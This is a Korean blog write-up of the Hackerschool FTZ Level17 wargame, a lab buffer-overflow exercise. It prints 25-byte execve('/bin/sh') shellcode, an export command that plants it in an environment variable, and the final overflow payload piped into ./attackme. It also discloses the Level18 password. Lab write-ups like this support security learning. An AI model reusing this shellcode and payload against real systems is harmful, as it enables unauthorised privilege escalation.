System Hacking

[해커스쿨FTZ] Level17

BIGFROG 2020. 1. 6. 17:10

주소 얻어걸리는게 싫어 환경변수로 푸는 법을 공부했다.

 

FTZlevel17

 

level16과 다른점은 shell()함수가 만들어지지 않았다는 것이다.

대신 setreuid가 main함수 내에 있다.

call함수를 부르는 부분에서 system함수를 호출해서 /bin/sh를 넣어주면 될 것 같다.

 

<main+16> :DWORD PTR [ebp-16]에 0x80483b8(printit함수)

 

스택에는 56바이트가 확장된다.

 

실행시키면 call에서 printit함수를 호출할테니 ebp-16이 가리키는 곳을 덮어씌우면 될듯

 

버퍼는 0xbffff8a0부터 문자열이 쌓인다.

 

ebp : 0xbffff8d8 value : 0xbffff8f8

 

ebp-16 : 0xbffff8c8 value : 0x0804000a

 

ebp-12까지 40바이트가 쌓임.

 

\xc0\xf2\x03\x42 \xa4\x7e\x12\x42

 

"A"*40+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42" --실패

 

ebp -8 : 36

ebp -4 : 32

ebp : 28

nop*28 + 12바이트 쉘코드 + nop주소

 

안됨,,,,,,,,,,,,,,,,,,,,,,,,

 

 

<환경변수를 이용한 방법>

25byte 쉘코드:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

export SHELLCODE=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

 

그리고 등록된 쉘코드의 주소를 가져오는 코드를 작성.

 

int main(){

printf("%p\n", getenv("SHELLCODE"));

return 0;

}

gcc로 만든뒤 실행하면 쉘코드 주소를 알 수 있다.

 

쉘코드 주소 : 0xbffffc13

 

페이로드

(python -c 'print "A"*40+"\x13\xfc\xff\xbf"';cat) | ./attackme

 

level18 패스워드 : "why did you do it"